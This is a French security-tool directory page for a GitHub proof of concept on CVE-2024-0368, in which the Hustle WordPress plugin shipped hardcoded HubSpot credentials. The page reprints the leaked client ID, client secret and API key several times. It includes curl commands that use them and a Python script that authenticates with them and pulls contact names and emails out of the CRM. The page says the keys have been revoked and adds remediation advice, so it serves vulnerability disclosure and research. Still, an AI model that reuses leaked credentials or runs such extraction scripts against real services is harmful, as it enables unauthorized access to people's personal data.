Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2024-0368 — Hustle Plugin <= 7.8.3 contient des identifiants API HubSpot codés en dur dans inc/providers/hubspot/hustle-hubspot-api.php | Kitploit
Outils/GitHubGitHub/randomrobbiebf/cve-2024-0368
Analyse des VulnérabilitésExploitationCollecte d'InformationsSécurité WebDétection de SecretsApprentissage et Éducation
GitHubrandomrobbiebf/cve-2024-0368

CVE-2024-0368

Hustle Plugin <= 7.8.3 contient des identifiants API HubSpot codés en dur dans inc/providers/hubspot/hustle-hubspot-api.php

Voir le dépôt
1il y a 7 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2024-0368

Le plugin Hustle <= 7.8.3 contient des identifiants API HubSpot codés en dur dans inc/providers/hubspot/hustle-hubspot-api.php

Résumé de la vulnérabilité

ChampValeur
ID CVECVE-2024-0368
TitreHustle <= 7.8.3 – Exposition d’informations sensibles via des clés API HubSpot exposées
Score CVSS8.6 (Élevé)
Plugin concernéHustle - Email Marketing, Lead Generation, Optins, Popups (wordpress-popup)
Versions vulnérables<= 7.8.3
Version corrigée7.8.4
Type de vulnérabilitéCWE-200 : Exposition d’informations sensibles

Analyse technique

Emplacement du code vulnérable

Fichier : inc/providers/hubspot/hustle-hubspot-api.php

root@kitploit:~
class Hustle_HubSpot_Api extends Opt_In_WPMUDEV_API {
    const CLIENT_ID     = '5253e533-2dd2-48fd-b102-b92b8f250d1b';
    const CLIENT_SECRET = '2ed54e79-6ceb-4fc6-96d9-58b4f98e6bca';
    const HAPIKEY       = 'db9600bf-648c-476c-be42-6621d7a1f96a';
    const BASE_URL      = 'https://app.hubspot.com/';
    const API_URL       = 'https://api.hubapi.com/';
    const SCOPE         = 'oauth crm.objects.contacts.write crm.lists.read crm.objects.contacts.read crm.schemas.contacts.write crm.schemas.contacts.read crm.lists.write';

Identifiants exposés

Portées OAuth (accès potentiel)

La configuration OAuth codée en dur demandait les portées HubSpot suivantes :

  • oauth – Authentification OAuth
  • crm.objects.contacts.write – Créer/modifier des contacts
  • crm.objects.contacts.read – Lire les informations de contact (données personnelles)
  • crm.lists.read – Lire les listes marketing
  • crm.lists.write – Modifier les listes marketing
  • crm.schemas.contacts.write – Modifier les schémas de contact
  • crm.schemas.contacts.read – Lire les schémas de contact

Explication de la vulnérabilité

Cause racine

WPMUDEV a codé en dur ses propres identifiants d’application OAuth HubSpot directement dans le code source du plugin. Cela viole les bonnes pratiques de développement sécurisé car :

  1. Exposition publique : Les plugins WordPress sont open source – le code est disponible publiquement sur le dépôt SVN de wordpress.org
  2. Distribution massive : Le plugin Hustle compte plus de 100 000 installations actives
  3. Identifiants partagés : Toutes les installations du plugin partagent les mêmes identifiants API

Vecteur d’attaque

Un attaquant pourrait :

  1. Télécharger le plugin vulnérable depuis wordpress.org
  2. Extraire les identifiants codés en dur du source PHP
  3. Utiliser ces identifiants pour s’authentifier auprès de l’API HubSpot
  4. Accéder au compte HubSpot de WPMUDEV et à toutes les données traitées via leur intégration

Impact potentiel

Avec des identifiants valides, un attaquant pourrait potentiellement :

  • Lire des données personnelles : Accéder aux informations de contact (noms, e-mails, numéros de téléphone, adresses)
  • Modifier des données : Créer, mettre à jour ou supprimer des contacts dans HubSpot
  • Accéder aux listes marketing : Voir et manipuler les listes marketing
  • Exfiltrer des données : Extraire les données des abonnés des sites utilisant l’intégration Hustle + HubSpot

Preuve de concept

Étape 1 : Localiser le fichier vulnérable

root@kitploit:~
# Depuis une installation WordPress
cat wp-content/plugins/wordpress-popup/inc/providers/hubspot/hustle-hubspot-api.php | grep -A3 "const CLIENT"

Sortie :

root@kitploit:~
const CLIENT_ID     = '5253e533-2dd2-48fd-b102-b92b8f250d1b';
const CLIENT_SECRET = '2ed54e79-6ceb-4fc6-96d9-58b4f98e6bca';
const HAPIKEY       = 'db9600bf-648c-476c-be42-6621d7a1f96a';

Étape 2 : Tester l’accès via la clé API (Contacts)

root@kitploit:~
curl -X GET "https://api.hubapi.com/crm/v3/objects/contacts?hapikey=db9600bf-648c-476c-be42-6621d7a1f96a&limit=10"

Remarque : Au moment du test, la clé API a été révoquée/expirée (attendu après divulgation) :

root@kitploit:~
{
  "status": "error",
  "message": "The API key used to make this call is expired.",
  "category": "EXPIRED_AUTHENTICATION"
}

Étape 3 : Tester le flux OAuth

root@kitploit:~
curl -X POST "https://api.hubapi.com/oauth/v1/token" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "grant_type=client_credentials&client_id=5253e533-2dd2-48fd-b102-b92b8f250d1b&client_secret=2ed54e79-6ceb-4fc6-96d9-58b4f98e6bca"

Réponse : Les identifiants ont été invalidés.

Script d’exploitation (Python)

root@kitploit:~
#!/usr/bin/env python3
"""
CVE-2024-0368 - HubSpot API Key Exposure PoC
Hustle Plugin <= 7.8.3

This script demonstrates the vulnerability by attempting to use
the exposed credentials to access HubSpot API.

For authorized security testing only.
"""

import requests
import json

# Hardcoded credentials from vulnerable plugin
CREDENTIALS = {
    "client_id": "5253e533-2dd2-48fd-b102-b92b8f250d1b",
    "client_secret": "2ed54e79-6ceb-4fc6-96d9-58b4f98e6bca",
    "hapikey": "db9600bf-648c-476c-be42-6621d7a1f96a"
}

HUBSPOT_API = "https://api.hubapi.com"

def test_api_key():
    """Test if the leaked API key is still valid"""
    print("[*] Testing HubSpot API Key...")

    url = f"{HUBSPOT_API}/crm/v3/objects/contacts"
    params = {"hapikey": CREDENTIALS["hapikey"], "limit": 1}

    response = requests.get(url, params=params)
    data = response.json()

    if response.status_code == 200:
        print("[+] API Key is VALID - Vulnerability Exploitable!")
        print(f"[+] Retrieved contact data: {json.dumps(data, indent=2)}")
        return True
    else:
        print(f"[-] API Key status: {data.get('message', 'Unknown error')}")
        return False

def test_oauth():
    """Test OAuth client credentials"""
    print("[*] Testing OAuth credentials...")

    url = f"{HUBSPOT_API}/oauth/v1/token"
    data = {
        "grant_type": "client_credentials",
        "client_id": CREDENTIALS["client_id"],
        "client_secret": CREDENTIALS["client_secret"]
    }

    response = requests.post(url, data=data)
    result = response.json()

    if "access_token" in result:
        print("[+] OAuth credentials VALID - Got access token!")
        return result["access_token"]
    else:
        print(f"[-] OAuth status: {result.get('message', 'Invalid credentials')}")
        return None

def extract_contacts(api_key=None, access_token=None):
    """Extract contacts if credentials are valid"""
    print("[*] Attempting to extract contacts...")

    url = f"{HUBSPOT_API}/crm/v3/objects/contacts"
    headers = {}
    params = {"limit": 100}

    if access_token:
        headers["Authorization"] = f"Bearer {access_token}"
    elif api_key:
        params["hapikey"] = api_key

    response = requests.get(url, headers=headers, params=params)

    if response.status_code == 200:
        contacts = response.json()
        print(f"[+] Successfully extracted {len(contacts.get('results', []))} contacts")
        for contact in contacts.get("results", [])[:5]:
            props = contact.get("properties", {})
            print(f"    - {props.get('email', 'N/A')} | {props.get('firstname', '')} {props.get('lastname', '')}")
        return contacts

    return None

if __name__ == "__main__":
    print("=" * 60)
    print("CVE-2024-0368 - Hustle Plugin HubSpot API Key Exposure")
    print("=" * 60)
    print()

    # Test leaked credentials
    api_valid = test_api_key()
    access_token = test_oauth()

    print()
    if api_valid or access_token:
        print("[!] VULNERABILITY CONFIRMED - Credentials are still active!")
        extract_contacts(
            api_key=CREDENTIALS["hapikey"] if api_valid else None,
            access_token=access_token
        )
    else:
        print("[*] Credentials have been rotated (expected post-disclosure)")
        print("[*] Vulnerability exists in code - credentials were exposed")

    print()
    print("=" * 60)

Résultats de vérification

Environnement :

  • WordPress : En cours d’exécution sur Docker
  • Version du plugin : 7.8.2 (Vulnérable)
  • Fichier vulnérable : Confirmé présent avec des identifiants codés en dur

Statut des identifiants :

  • Clé API (HAPIKEY) : Expirée/Révoquée (après divulgation)
  • Identifiants OAuth : Invalidés (après divulgation)

Conclusion : La vulnérabilité est confirmée – les identifiants codés en dur existent dans le code source et étaient auparavant exploitables. WPMUDEV a révoqué les identifiants après une divulgation responsable.

Remédiation

Correctif du fournisseur (v7.8.4+)

Le correctif supprime les identifiants codés en dur et met en place un stockage approprié des identifiants :

  • Les identifiants ont été déplacés vers la base de données / la configuration d’environnement
  • Les utilisateurs doivent désormais configurer leurs propres identifiants API HubSpot
  • Plus d’identifiants partagés entre les installations

Recommandations pour les utilisateurs

  1. Mettre à jour immédiatement : Passer à Hustle 7.8.4 ou version ultérieure
  2. Reconfigurer HubSpot : Configurer l’intégration HubSpot avec vos propres identifiants
  3. Auditer les journaux d’accès : Vérifier HubSpot pour toute utilisation non autorisée de l’API pendant la période vulnérable

Calendrier

DateÉvénement
2024-01-05CVE-2024-0368 publié
2024-03-08Correctif publié dans la version 7.8.4
Après divulgationIdentifiants révoqués par WPMUDEV

Références

  • Avis de Wordfence
  • Modifications du plugin WordPress
  • Documentation de l’API HubSpot
  • Entrée NVD

Généré à des fins de recherche de sécurité autorisées

Télécharger l’outil
IdentifiantValeurObjectif
CLIENT_ID5253e533-2dd2-48fd-b102-b92b8f250d1bIdentifiant d’application OAuth2
CLIENT_SECRET2ed54e79-6ceb-4fc6-96d9-58b4f98e6bcaSecret client OAuth2
HAPIKEYdb9600bf-648c-476c-be42-6621d7a1f96aClé API HubSpot héritée